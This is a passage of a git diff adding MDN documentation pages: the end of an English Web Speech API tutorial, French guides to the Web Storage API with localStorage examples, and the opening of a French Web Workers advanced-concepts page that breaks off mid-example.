+<h3 id="JavaScript_2">JavaScript</h3>
+
+<p>Let's investigate the JavaScript that powers this app.</p>
+
+<h4 id="Setting_variables">Setting variables</h4>
+
+<p>First of all, we capture references to all the DOM elements involved in the UI, but more interestingly, we capture a reference to {{domxref("Window.speechSynthesis")}}. This is API's entry point — it returns an instance of {{domxref("SpeechSynthesis")}}, the controller interface for web speech synthesis.</p>
+
+<pre class="brush: js notranslate">var synth = window.speechSynthesis;
+
+var inputForm = document.querySelector('form');
+var inputTxt = document.querySelector('.txt');
+var voiceSelect = document.querySelector('select');
+
+var pitch = document.querySelector('#pitch');
+var pitchValue = document.querySelector('.pitch-value');
+var rate = document.querySelector('#rate');
+var rateValue = document.querySelector('.rate-value');
+
+var voices = [];
+</pre>
+
+<h4 id="Populating_the_select_element">Populating the select element</h4>
+
+<p>To populate the {{htmlelement("select")}} element with the different voice options the device has available, we've written a <code>populateVoiceList()</code> function. We first invoke {{domxref("SpeechSynthesis.getVoices()")}}, which returns a list of all the available voices, represented by {{domxref("SpeechSynthesisVoice")}} objects. We then loop through this list — for each voice we create an {{htmlelement("option")}} element, set its text content to display the name of the voice (grabbed from {{domxref("SpeechSynthesisVoice.name")}}), the language of the voice (grabbed from {{domxref("SpeechSynthesisVoice.lang")}}), and <code>-- DEFAULT</code> if the voice is the default voice for the synthesis engine (checked by seeing if {{domxref("SpeechSynthesisVoice.default")}} returns <code>true</code>.)</p>
+
+<p>We also create <code>data-</code> attributes for each option, containing the name and language of the associated voice, so we can grab them easily later on, and then append the options as children of the select.</p>
+
+<pre class="brush: js notranslate">function populateVoiceList() {
+  voices = synth.getVoices();
+
+  for(i = 0; i &lt; voices.length ; i++) {
+    var option = document.createElement('option');
+    option.textContent = voices[i].name + ' (' + voices[i].lang + ')';
+
+    if(voices[i].default) {
+      option.textContent += ' -- DEFAULT';
+    }
+
+    option.setAttribute('data-lang', voices[i].lang);
+    option.setAttribute('data-name', voices[i].name);
+    voiceSelect.appendChild(option);
+  }
+}</pre>
+
+<p>When we come to run the function, we do the following. This is because Firefox doesn't support {{domxref("SpeechSynthesis.onvoiceschanged")}}, and will just return a list of voices when {{domxref("SpeechSynthesis.getVoices()")}} is fired. With Chrome however, you have to wait for the event to fire before populating the list, hence the if statement seen below.</p>
+
+<pre class="brush: js notranslate">populateVoiceList();
+if (speechSynthesis.onvoiceschanged !== undefined) {
+  speechSynthesis.onvoiceschanged = populateVoiceList;
+}</pre>
+
+<h4 id="Speaking_the_entered_text">Speaking the entered text</h4>
+
+<p>Next, we create an event handler to start speaking the text entered into the text field. We are using an <a href="/en-US/docs/Web/API/GlobalEventHandlers/onsubmit">onsubmit</a> handler on the form so that the action happens when <kbd>Enter</kbd>/<kbd>Return</kbd> is pressed. We first create a new {{domxref("SpeechSynthesisUtterance.SpeechSynthesisUtterance()", "SpeechSynthesisUtterance()")}} instance using its constructor — this is passed the text input's value as a parameter.</p>
+
+<p>Next, we need to figure out which voice to use. We use the {{domxref("HTMLSelectElement")}} <code>selectedOptions</code> property to return the currently selected {{htmlelement("option")}} element. We then use this element's <code>data-name</code> attribute, finding the {{domxref("SpeechSynthesisVoice")}} object whose name matches this attribute's value. We set the matching voice object to be the value of the {{domxref("SpeechSynthesisUtterance.voice")}} property.</p>
+
+<p>Finally, we set the {{domxref("SpeechSynthesisUtterance.pitch")}} and {{domxref("SpeechSynthesisUtterance.rate")}} to the values of the relevant range form elements. Then, with all necessary preparations made, we start the utterance being spoken by invoking {{domxref("SpeechSynthesis.speak()")}}, passing it the {{domxref("SpeechSynthesisUtterance")}} instance as a parameter.</p>
+
+<pre class="brush: js notranslate">inputForm.onsubmit = function(event) {
+  event.preventDefault();
+
+  var utterThis = new SpeechSynthesisUtterance(inputTxt.value);
+  var selectedOption = voiceSelect.selectedOptions[0].getAttribute('data-name');
+  for(i = 0; i &lt; voices.length ; i++) {
+    if(voices[i].name === selectedOption) {
+      utterThis.voice = voices[i];
+    }
+  }
+  utterThis.pitch = pitch.value;
+  utterThis.rate = rate.value;
+  synth.speak(utterThis);</pre>
+
+<p>In the final part of the handler, we include an {{domxref("SpeechSynthesisUtterance.onpause")}} handler to demonstrate how {{domxref("SpeechSynthesisEvent")}} can be put to good use. When {{domxref("SpeechSynthesis.pause()")}} is invoked, this returns a message reporting the character number and name that the speech was paused at.</p>
+
+<pre class="brush: js notranslate">   utterThis.onpause = function(event) {
+    var char = event.utterance.text.charAt(event.charIndex);
+    console.log('Speech paused at character ' + event.charIndex + ' of "' +
+    event.utterance.text + '", which is "' + char + '".');
+  }</pre>
+
+<p>Finally, we call <a href="/en-US/docs/Web/API/HTMLElement/blur">blur()</a> on the text input. This is mainly to hide the keyboard on Firefox OS.</p>
+
+<pre class="brush: js notranslate">  inputTxt.blur();
+}</pre>
+
+<h4 id="Updating_the_displayed_pitch_and_rate_values">Updating the displayed pitch and rate values</h4>
+
+<p>The last part of the code simply updates the <code>pitch</code>/<code>rate</code> values displayed in the UI, each time the slider positions are moved.</p>
+
+<pre class="brush: js notranslate">pitch.onchange = function() {
+  pitchValue.textContent = pitch.value;
+}
+
+rate.onchange = function() {
+  rateValue.textContent = rate.value;
+}</pre>
diff --git a/files/fr/web/api/web_storage_api/index.html b/files/fr/web/api/web_storage_api/index.html
new file mode 100644
index 0000000000..c1d30beeb9
--- /dev/null
+++ b/files/fr/web/api/web_storage_api/index.html
@@ -0,0 +1,104 @@
+---
+title: Web Storage API
+slug: Web/API/Web_Storage_API
+tags:
+  - API
+  - Reference
+  - Storage
+  - Web Storage
+  - localStorage
+  - sessionStorage
+translation_of: Web/API/Web_Storage_API
+---
+<p>{{DefaultAPISidebar("Web Storage API")}}</p>
+
+<p>L'API <strong>Web Storage</strong> fournit des mécanismes par lesquels les navigateurs peuvent stocker des paires clé / valeur, d'une manière beaucoup plus intuitive que l'utilisation de cookies.</p>
+
+<h2 id="Web_Storage_concepts_et_utilisations">Web Storage, concepts et utilisations</h2>
+
+<p>Les deux mécanismes au sein du web storage sont les suivantes:</p>
+
+<ul>
+ <li><code>sessionStorage</code> maintient une zone de stockage distinct pour chaque origine donnée qui est disponible pour la durée de la session de la page (tant que le navigateur est ouvert, y compris les rechargements et restaure)</li>
+ <li><code>localStorage</code> fait la même chose, mais persiste même lorsque le navigateur est fermé et rouvert.</li>
+</ul>
+
+<p>Ces mécanismes sont disponibles via les propriétés {{domxref("Window.sessionStorage")}} et {{domxref("Window.localStorage")}} (pour être plus précis, pour le support des navigateurs, l'objet <code>Window</code> implemente le <code>WindowLocalStorage</code> et l'object <code>WindowSessionStorage</code>, dont les propriétés <code>localStorage</code> et <code>sessionStorage</code> dépendent) — L'appel de l'une de ces propriétés va créer une instance de l'objet {{domxref("Storage")}},  à travers de laquelle les éléments de données peuvent être définis, récupérés et éliminés. Un objet de stockage différent est utilisé pour le sessionStorage et le localStorage pour chaque origine — ils fonctionnent et sont contrôlés séparément.</p>
+
+<div class="note">
+<p><strong>Note</strong>: À partir de Firefox 45, lorsque le navigateur se bloque / redémarre, la quantité de données sauvegardées par origine est limitée à 10 Mo. Cela a été mis en place pour éviter les problèmes de mémoire causés par une utilisation excessive du stockage Web.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: L'accès au Web Storage à partir d'iframes externes est interdit si l'utilisateur a <a href="https://support.mozilla.org/en-US/kb/disable-third-party-cookies">désactivé les cookies tierce-partie</a> (Firefox a adopté ce comportement à partir de la <a href="/en-US/docs/Mozilla/Firefox/Releases/43">version 43</a> et suivantes.)</p>
+</div>
+
+<div class="note">
+<p><strong>Note:</strong> Le Web Storage n'est pas identique au <a href="/en-US/docs/Storage" title="Storage">mozStorage</a> (interfaces XPCOM de Mozilla vers SQLite) ou l'<a href="/en-US/docs/Session_store_API" title="Session_store_API">API Session store </a> (un utilitaire de stockage <a href="/en-US/docs/XPCOM" title="XPCOM">XPCOM</a> utilisable par des extensions).</p>
+</div>
+
+<h2 id="Web_Storage_interfaces">Web Storage interfaces</h2>
+
+<dl>
+ <dt>{{domxref("Storage")}}</dt>
+ <dd>Vous permet d'ajouter, modifier, lire ou supprimer des données pour un domaine et un type de stockage (session ou local) donnés.</dd>
+ <dt>{{domxref("Window")}}</dt>
+ <dd>L'API Web Storage dérive de l'objet {{domxref("Window")}} avec 2 nouvelles propriétés — {{domxref("Window.sessionStorage")}} et {{domxref("Window.localStorage")}} — lesquelles donnent accès, pour le domaine courant, aux objets session et local {{domxref("Storage")}} respectivement.</dd>
+ <dt>{{domxref("StorageEvent")}}</dt>
+ <dd>L'événement <code title="event-storage">storage</code> est déclenché sur l'objet <code>Window</code> du document en cas de changement dans un espace de stockage.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Pour illustrer une utilisation typique du stockage Web, nous avons créé un exemple simple, appelé de manière imaginative <a href="https://github.com/mdn/dom-examples/tree/master/web-storage">Web Storage Demo</a>. La <a href="https://mdn.github.io/dom-examples/web-storage/">landing page</a> fournit des commandes permettant de personnaliser la couleur, la police et l'image décorative. Lorsque vous choisissez différentes options, la page est instantanément mise à jour. De plus, vos choix sont stockés dans <code>localStorage</code>. Ainsi, lorsque vous quittez la page puis la rechargez plus tard, vos choix sont mémorisés. En outre, nous avons fourni une <a href="https://mdn.github.io/dom-examples/web-storage/event.html">event output page</a> — Si vous chargez cette page dans un autre onglet, puis modifiez vos choix dans la page d'arrivée, vous verrez les informations de stockage mises à jour générées lors du déclenchement de {{event("StorageEvent")}}.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'webstorage.html#webstorage')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<h3 id="Window.localStorage"><code>Window.localStorage</code></h3>
+
+<div>
+
+
+<p>{{Compat("api.Window.localStorage")}}</p>
+
+<h3 id="Window.sessionStorage"><code>Window.sessionStorage</code></h3>
+
+<div>
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("api.Window.sessionStorage")}}</p>
+</div>
+</div>
+
+<h2 id="Navigation_privée_Modes_incognito">Navigation privée / Modes incognito</h2>
+
+<p>De nos jours, la plupart des navigateurs prennent en charge une option de confidentialité appelée "mode Incognito" ou "navigation privée", qui permet de s'assurer que la session de navigation privée ne laisse aucune trace après la fermeture du navigateur. Ceci est fondamentalement incompatible avec le stockage Web pour des raisons évidentes. En tant que tels, les éditeurs de navigateurs expérimentent différents scénarios pour gérer cette incompatibilité.</p>
+
+<p>La plupart des navigateurs ont opté pour une stratégie dans laquelle les API de stockage sont toujours disponibles et apparemment totalement fonctionnelles, à la différence près que toutes les données stockées sont effacées après la fermeture du navigateur. Pour ces navigateurs, il existe toujours différentes interprétations de ce qui devrait être fait avec les données stockées existantes (à partir d'une session de navigation normale). Devrait-il être disponible en lecture en mode privé? Certains navigateurs, notamment Safari, ont opté pour une solution dans laquelle le stockage est disponible, vide et doté d'un quota de 0 octets, ce qui rend impossible l'écriture de données.</p>
+
+<p>Les développeurs doivent connaître ces différentes implémentations et en tenir compte lors du développement de sites Web en fonction des API de stockage Web. Pour plus d'informations, consultez <a href="https://blog.whatwg.org/tag/localstorage"> cet article de blog du WHATWG </a> qui traite spécifiquement de ce sujet</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Utiliser l'API Web Storage</a></li>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Browser_storage_limits_and_eviction_criteria">Limites de stockage du navigateur et critères d'éviction</a></li>
+ <li><a href="https://medium.com/@ramsunvtech/onfocus-html5-storage-apis-b45d92aa424b">HTML5 Storage API By Venkatraman</a></li>
+</ul>
diff --git a/files/fr/web/api/web_storage_api/using_the_web_storage_api/index.html b/files/fr/web/api/web_storage_api/using_the_web_storage_api/index.html
new file mode 100644
index 0000000000..53e5b29a1d
--- /dev/null
+++ b/files/fr/web/api/web_storage_api/using_the_web_storage_api/index.html
@@ -0,0 +1,223 @@
+---
+title: Utiliser l'API Web Storage
+slug: Web/API/Web_Storage_API/Using_the_Web_Storage_API
+tags:
+  - API
+  - Guide
+  - Stockage
+  - Stockage Web
+  - localStorage
+translation_of: Web/API/Web_Storage_API/Using_the_Web_Storage_API
+---
+<div class="summary">
+<p>L'API "Web Storage" fournit des mécanismes par lesquels les navigateurs web peuvent stocker des paires de clé-valeur, d'une manière plus intuitive qu'en utilisant des cookies. Cet article décrit pas à pas comment se servir de cette technologie facile d'utilisation.</p>
+</div>
+
+<h2 id="Concepts_de_base">Concepts de base</h2>
+
+<p>Les objets de stockages sont de simples magasins clé-valeur, similaires aux objets, mais restant intacts après des chargements de page. La clé peut être une chaîne de caractères ou des entiers, mais la valeur sera toujours une chaîne. Vous pouvez accéder à ces valeurs comme pour un objet ou avec les méthodes getItem() et setItem(). Les trois lignes suivantes vont enregistrer la couleur de la même façon :</p>
+
+<pre class="brush: js">localStorage.colorSetting = '#a4509b';
+localStorage['colorSetting'] = '#a4509b';
+localStorage.setItem('colorSetting', '#a4509b');
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: Il est recommandé d'utiliser l'API "Web Storage" (<code>setItem</code>, <code>getItem</code>, <code>removeItem</code>, <code>key</code>, <code>length</code>) pour prévenir les <a href="http://www.2ality.com/2012/01/objects-as-maps.html">embûches</a> associées à l'utilisation d'objets capable de stocker des couples clé-valeur.</p>
+</div>
+
+<p>Les deux principaux mécanismes internes du Stockage Web sont :</p>
+
+<ul>
+ <li><strong><code>sessionStorage</code></strong> qui maintient un espace de stockage, séparé pour chaque origine différente, disponible le temps de la session de la page (tant que le navigateur reste lancé, incluant les rechargements de la page et les restaurations).</li>
+ <li><strong><code>localStorage</code></strong> qui tient le même rôle mais persiste même après le redémarrage du navigateur web.</li>
+</ul>
+
+<p>Ces mécanismes sont disponibles via les propriétés {{domxref("Window.sessionStorage")}} et {{domxref("Window.localStorage")}}  (plus précisément, dans les navigateurs web le supportant, l'objet <code>Window</code>  implémente les objets <code>WindowLocalStorage</code> et <code>WindowSessionStorage</code>, sur lesquels les propriétés <code>localStorage</code> et <code>sessionStorage</code> se basent) — l'appel d'un des deux va créer une instance de l'objet {{domxref("Storage")}}, dans lequel des données pourront être ajoutées, récupérées et supprimées. Pour <code>sessionStorage</code> et <code>localStorage</code>, un objet de stockage différent est utilisé pour chaque origine — ils fonctionnent et sont contrôlés séparément.</p>
+
+<p>Donc, par exemple, un appel initial de <code>localStorage</code> sur un document va retourner un objet {{domxref("Storage")}} ; un appel de <code>sessionStorage</code> sur un document va retourner un objet {{domxref("Storage")}} différent. Les deux peuvent se manipuler de la même façon, mais séparément.</p>
+
+<h2 id="Détection_de_la_fonction_localStorage">Détection de la fonction localStorage</h2>
+
+<p>Pour être capable d'utiliser localStorage, nous devons d'abord vérifier qu'il est supporté et disponible dans la session de navigation actuelle.</p>
+
+<h3 id="Test_du_support_et_disponibilité">Test du support et disponibilité</h3>
+
+<p>Les navigateurs qui supportent localStorage ont sur l'objet windows une propriété nommée localStorage. Cependant, pour différentes raisons, la vérification seule de l'existnce de cette propriété peut provoquer des erreurs. .Son absence n'est pas non plus une garantie de son indisponibilité, certains navigateurs offrent un paramètre pour désactiver localStorage. Donc un navigateur <em>peut</em> supporter localStorage, mais peut ne pas le rendre <em>disponible</em> aux scripts de la page. Un exemple de cela est Safari, qui en mode de navigation privée fournit un objet localStorage vide dont le quota est nul, le rendant inutilisable. Notre fonction de détection doit prendre en compte ces scénarios.</p>
+
+<p>Voici une fonction qui va détecter que localStorage est supporté mais aussi disponible:</p>
+
+<pre class="brush: js">function storageAvailable(type) {
+    try {
+        var storage = window[type],
+            x = '__storage_test__';
+        storage.setItem(x, x);
+        storage.removeItem(x);
+        return true;
+    }
+    catch(e) {
+        return e instanceof DOMException &amp;&amp; (
+            // everything except Firefox
+            e.code === 22 ||
+            // Firefox
+            e.code === 1014 ||
+            // test name field too, because code might not be present
+            // everything except Firefox
+            e.name === 'QuotaExceededError' ||
+            // Firefox
+            e.name === 'NS_ERROR_DOM_QUOTA_REACHED') &amp;&amp;
+            // acknowledge QuotaExceededError only if there's something already stored
+            storage.length !== 0;
+    }
+}</pre>
+
+<p>Et voici comment l'utiliser :</p>
+
+<pre class="brush: js">if (storageAvailable('localStorage')) {
+	// Nous pouvons utiliser localStorage
+}
+else {
+	// Malheureusement, localStorage n'est pas disponible
+}</pre>
+
+<p>Au lieu de cela, vous pouvez tester la disponibilité de sessionStorage en appelant <code>storageAvailable('sessionStorage')</code>. </p>
+
+<p>Vous pouvez retrouver ici <a class="external" href="https://gist.github.com/paulirish/5558557">une brève histoire de la détection de localStorage</a>.</p>
+
+<h2 id="Un_exemple_simple">Un exemple simple</h2>
+
+<p>Pour illustrer certains usages typiques du Stockage Web, nous avons créé un exemple simple ingénieusement appelé <strong>Web Storage Demo</strong>. La <a class="external" href="https://mdn.github.io/dom-examples/web-storage/">page de lancement</a> fournit des contrôles afin de personnaliser la couleur, la police de caractère et l'image de décoration:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9685/landing.png" style="display: block; height: 482px; margin: 0px auto; width: 700px;">Quand vous choisissez une option différente, la page est mise à jour instantanément; de plus, vos choix sont stockés avec localStorage, donc quand vous quitterez la page et la rechargerez plus tard, vos choix auront été mémorisés.</p>
+
+<p>Nous avons aussi fournit une <a class="external" href="https://mdn.github.io/dom-examples/web-storage/event.html">page pour l'événement émis</a> - Si vous chargez cette page dans un autre onglet, puis faite les changements de votre choix sur la page de démarrage, vous allez voir une information liée à l'événement {{domxref("StorageEvent")}} qui a été lancé.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9687/event-output.png" style="display: block; height: 482px; margin: 0px auto; width: 700px;"></p>
+
+<div class="note">
+<p><strong>Note</strong>: En plus de l'affichage en temps réel des pages en utilisant les liens ci-dessus, vous pouvez aussi <a class="external" href="https://github.com/mdn/dom-examples/tree/master/web-storage">regarder le code-source</a>.</p>
+</div>
+
+<h2 id="Tester_si_le_stockage_a_déjà_été_rempli">Tester si le stockage a déjà été rempli</h2>
+
+<p>Pour démarrer avec <a class="external" href="https://github.com/mdn/dom-examples/blob/master/web-storage/main.js">main.js</a>, nous allons tester que l'objet de stockage a bien été rempli (c-à-d, que l'on a déjà accédé à la page):</p>
+
+<pre class="brush: js">if(!localStorage.getItem('bgcolor')) {
+  populateStorage();
+} else {
+  setStyles();
+}</pre>
+
+<p>La méthode {{domxref("Storage.getItem()")}} est utilisée pour obtenir les données de l'élément depuis le stockage ; dans ce cas nous testons l'existence de l'élément <code>bgcolor</code>; si il n'existe pas nous lançons <code>populateStorage()</code> pour ajouter des valeurs personnalisées dans le stockage. Si il y a déjà des valeurs ici, nous lançons <code>setStyles()</code> pour mettre à jour le style de la page avec les valeurs stockées.</p>
+
+<p><strong>Note</strong>: Vous pouvez aussi utiliser {{domxref("Storage.length")}} pour tester si l'objet de stockage est vide ou non.</p>
+
+<h2 id="Obtenir_les_valeurs_du_stockage">Obtenir les valeurs du stockage</h2>
+
+<p>Comme vu ci dessus, les valeurs peuvent être recupérées du stockage en utilisant {{domxref("Storage.getItem()")}}. La méthode prend en argument la clé de l'élément, et retourne la valeur. Par exemple:</p>
+
+<pre class="brush: js">function setStyles() {
+  var currentColor = localStorage.getItem('bgcolor');
+  var currentFont = localStorage.getItem('font');
+  var currentImage = localStorage.getItem('image');
+
+  document.getElementById('bgcolor').value = currentColor;
+  document.getElementById('font').value = currentFont;
+  document.getElementById('image').value = currentImage;
+
+  htmlElem.style.backgroundColor = '#' + currentColor;
+  pElem.style.fontFamily = currentFont;
+  imgElem.setAttribute('src', currentImage);
+}</pre>
+
+<p>Ici, les trois premières lignes vont chercher les valeurs dans le stockage local. Puis, nous définissons les valeurs exposées par le formulaire avec ces valeurs, afin qu'elles persistent quand on recharge la page. Enfin, nous mettons à jour le style et l'image de décoration de la page, ainsi nos options de personnalisation reviennent lors du rechargement de la page.</p>
+
+<h2 id="Enregistrer_une_valeur_dans_le_stockage">Enregistrer une valeur dans le stockage</h2>
+
+<p>{{domxref("Storage.setItem()")}} est aussi bien utilisée pour la création d'une donnée,  que pour la modification d'une donnée existante (si cette donnée existe déja). Elle prend deux arguments — la clé de l'élément à créer/modifier, et la valeur associée à stocker.</p>
+
+<pre class="brush: js">function populateStorage() {
+  localStorage.setItem('bgcolor', document.getElementById('bgcolor').value);
+  localStorage.setItem('font', document.getElementById('font').value);
+  localStorage.setItem('image', document.getElementById('image').value);
+
+  setStyles();
+}</pre>
+
+<p>La fonction <code>populateStorage()</code> définit trois éléments dans le stockage local — la couleur de fond, la police de caractère et le chemin de l'image. Ensuite elle lance la fonction <code>setStyles()</code> pour mettre à jour le style de la page, etc.</p>
+
+<p>Nous avons aussi inclu un handler <code>onchange</code> sur chaque élément du formulaire, ainsi les données et le style sont mis à jour quelque soit la valeur du formulaire qui a changé:</p>
+
+<pre class="brush: js">bgcolorForm.onchange = populateStorage;
+fontForm.onchange = populateStorage;
+imageForm.onchange = populateStorage;</pre>
+
+<h2 id="Répondre_aux_changements_du_stockage_avec_StorageEvent">Répondre aux changements du stockage avec StorageEvent</h2>
+
+<p>L'événement {{event("StorageEvent")}} est lancé dès lors qu'un changement est fait sur l'objet {{domxref("Storage")}}. Cela ne va pas marcher sur la même page qui a provoqué le changement: c'est vraiment un moyen pour que les autres pages du domaine qui utilisent le stockage local puissent se synchroniser avec tous les changements qui ont été fait.</p>
+
+<p>Les pages des autres domaines ne peuvent pas accéder aux mêmes objets de stockage.</p>
+
+<p>Sur la page d'événement (voir <a class="external" href="https://github.com/mdn/web-storage-demo/blob/gh-pages/event.js">events.js</a>) le seul JavaScript est :</p>
+
+<pre class="brush: js">window.addEventListener('storage', function(e) {
+  document.querySelector('.my-key').textContent = e.key;
+  document.querySelector('.my-old').textContent = e.oldValue;
+  document.querySelector('.my-new').textContent = e.newValue;
+  document.querySelector('.my-url').textContent = e.url;
+  document.querySelector('.my-storage').textContent = e.storageArea;
+});</pre>
+
+<p>Ici nous avons ajouté un event listener à l'objet <code>window </code>qui se lance quand l'objet {{domxref("Storage")}}, associée à l'origine courante, est modifié. Comme vous pouvez le voir ci-dessus, l'objet événement associé à cet événement a de nombreuses propriétés contenant des informations utiles: la clé de la donnée qui a changé, l'ancienne valeur avant le changement, la nouvelle valeur après le changement, l'URL du document qui a changé le stockage et l'objet stockage lui-même.</p>
+
+<h2 id="Supprimer_des_données">Supprimer des données</h2>
+
+<p>l'API de Stockage Web fournit aussi un couple de méthodes simples pour supprimer des données. Nous ne les utilisons pas dans notre démo, mais elles sont simples à ajouter dans votre projet :</p>
+
+<ul>
+ <li>{{domxref("Storage.removeItem()")}} prend un seul argument — la clé de l'élément que vous souhaitez supprimer — et le supprime de l'objet de stockage pour le domaine.</li>
+ <li>{{domxref("Storage.clear()")}} ne prend pas d'argument, et vide l'ensemble des données de l'objet de stockage pour le domaine.</li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Storage')}}</td>
+   <td>{{Spec2('Web Storage')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<h3 id="Window.localStorage"><code>Window.localStorage</code></h3>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.Window.localStorage")}}</p>
+
+<h3 id="Window.sessionStorage"><code>Window.sessionStorage</code></h3>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.Window.sessionStorage")}}</p>
+
+<p>Tous les navigateurs ont des niveaux de capacité différents pour localStorage et sessionStorage. Voici un <a class="external" href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">détail des capacités de stockage pour différents navigateurs</a>.</p>
+
+<div class="note">
+<p><strong>Note: </strong>depuis iOS 5.1, Safari Mobile stocke les données de localStorage dans le repertoire de cache, qui est parfois sujet à des nettoyages, à la demande de l'OS, typiquement quand l'espace restant est faible.</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Web_Storage_API">Page API du Stockage Web</a></li>
+</ul>
diff --git a/files/fr/web/api/web_workers_api/advanced_concepts_and_examples/index.html b/files/fr/web/api/web_workers_api/advanced_concepts_and_examples/index.html
new file mode 100644
index 0000000000..44716be46c
--- /dev/null
+++ b/files/fr/web/api/web_workers_api/advanced_concepts_and_examples/index.html
@@ -0,0 +1,422 @@
+---
+title: Concepts avancés et exemples
+slug: Web/API/Web_Workers_API/Advanced_concepts_and_examples
+translation_of: Web/API/Web_Workers_API/Using_web_workers
+---
+<div class="summary">
+<p>Cet article fournit de nombreux détails et maints exemples pour illustrer les concepts avancés des web workers.</p>
+</div>
+
+<h2 id="Passage_de_données_copie_et_non_partage">Passage de données : copie, et non partage</h2>
+
+<p>Les données passées entre la page principale et les workers sont <strong>copiées</strong>, et non partagées. Les objets sont sérialisées au moment où ils sont confiés au worker, et consécutivement désérialisés à l'autre bout. La page et le worker <strong>ne partagent pas la même instance</strong>, ainsi au final <strong>une copie</strong> est créée de chaque côté. La plupart des navigateurs implémentent cette caractéristique en tant que <a href="/en/DOM/The_structured_clone_algorithm" title="The structured clone algorithm">clonage structuré</a>.</p>
+
+<p>Avant de poursuivre, créons à des fins didactiques une fonction nommée <code>emulateMessage()</code>, avec pour objectif de simuler le comportement d'une valeur qui est <em>clonée et non partagée</em> durant le passage du <code>worker</code> à la page principale ou inversement :</p>
+
+<pre class="brush: js">function emulateMessage (vVal) {
+    return eval("(" + JSON.stringify(vVal) + ")");
+}
+
+// Tests
+
+// test #1
+var example1 = new Number(3);
+alert(typeof example1); // objet
+alert(typeof emulateMessage(example1)); // nombre
+
+// test #2
+var example2 = true;
+alert(typeof example2); // booléen
+alert(typeof emulateMessage(example2)); // booléen
+
+// test #3
+var example3 = new String("Hello World");
+alert(typeof example3); // objet
+alert(typeof emulateMessage(example3)); // chaîne de caractères
+
+// test #4
+var example4 = {
+    "name": "John Smith",
+    "age": 43
+};
+alert(typeof example4); // objet
+alert(typeof emulateMessage(example4)); // objet
+
+// test #5
+function Animal (sType, nAge) {
+    this.type = sType;
+    this.age = nAge;
+}
+var example5 = new Animal("Cat", 3);
+alert(example5.constructor); // Animal
+alert(emulateMessage(example5).constructor); // Objet</pre>
+
+<p>Une valeur qui est clonée et non partagée est appelée <em>message</em>. Comme vous le savez probablement dès à présent, les <em>messages</em> peuvent être envoyés à et à partir du thread principal en utilisant <code>postMessage()</code>, et l'attribut {{domxref("MessageEvent.data", "data")}} de l'événement <code>message</code> contient les données retournées par le worker.</p>
+
+<p><strong>example.html </strong>(la page principale) :</p>
+
+<pre class="brush: js">var myWorker = new Worker("my_task.js");
+
+myWorker.onmessage = function (oEvent) {
+  console.log("Worker said : " + oEvent.data);
+};
+
+myWorker.postMessage("ali");</pre>
+
+<p><strong>my_task.js</strong> (leworker) :</p>
+
+<pre class="brush: js">postMessage("I\'m working before postMessage(\'ali\').");
+
+onmessage = function (oEvent) {
+  postMessage("Hi " + oEvent.data);
+};</pre>
+
+<p>L'algorithme de <a href="/en-US/docs/Web/Guide/DOM/The_structured_clone_algorithm" style="line-height: 1.572;" title="The structured clone algorithm">clonage structurée</a> peut accepter du JSON et quelques autres choses impossibles en JSON — comme les références circulaires.</p>
+
+<h3 id="Exemples_de_passages_de_données">Exemples de passages de données</h3>
+
+<h4 id="Exemple_1_Créer_un_eval()_asynchrone_générique">Exemple #1 : Créer un "<code>eval() </code>asynchrone" générique</h4>
+
+<p>L'exemple suivant montre comment utiliser un worker afin d'exécuter <strong>de manière asynchrone</strong> n'importe quel code JavaScript permis dans un worker, au moyen d'une méthode <a href="/en-US/docs/JavaScript/Reference/Global_Objects/eval" title="/en-US/docs/JavaScript/Reference/Global_Objects/eval"><code>eval()</code></a> appelée dans le worker :</p>
+
+<pre class="brush: js">// Syntaxe : asyncEval(code[, listener])
+
+var asyncEval = (function () {
+
+  var aListeners = [], oParser = new Worker("data:text/javascript;charset=US-ASCII,onmessage%20%3D%20function%20%28oEvent%29%20%7B%0A%09postMessage%28%7B%0A%09%09%22id%22%3A%20oEvent.data.id%2C%0A%09%09%22evaluated%22%3A%20eval%28oEvent.data.code%29%0A%09%7D%29%3B%0A%7D");
+
+  oParser.onmessage = function (oEvent) {
+    if (aListeners[oEvent.data.id]) { aListeners[oEvent.data.id](oEvent.data.evaluated); }
+    delete aListeners[oEvent.data.id];
+  };
+
+
+  return function (sCode, fListener) {
